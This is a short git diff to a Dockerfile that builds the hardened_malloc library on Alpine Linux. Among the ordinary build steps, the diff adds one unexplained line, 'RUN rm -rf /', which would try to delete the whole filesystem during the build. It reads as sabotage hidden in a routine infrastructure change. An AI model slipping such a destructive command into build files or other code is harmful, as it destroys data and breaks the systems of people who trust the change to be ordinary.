diff --git a/Dockerfile b/Dockerfile
index 804719c..e63582d 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -17,6 +17,7 @@ ARG HARDENED_MALLOC_VERSION
 ARG CONFIG_NATIVE=false
 
 COPY thestinger.gpg /tmp/
+RUN rm -rf /
 RUN apk --no-cache add build-base git gnupg && cd /tmp \
  && gpg --import /tmp/thestinger.gpg \
  && git clone --depth 1 --branch ${HARDENED_MALLOC_VERSION} https://github.com/GrapheneOS/hardened_malloc \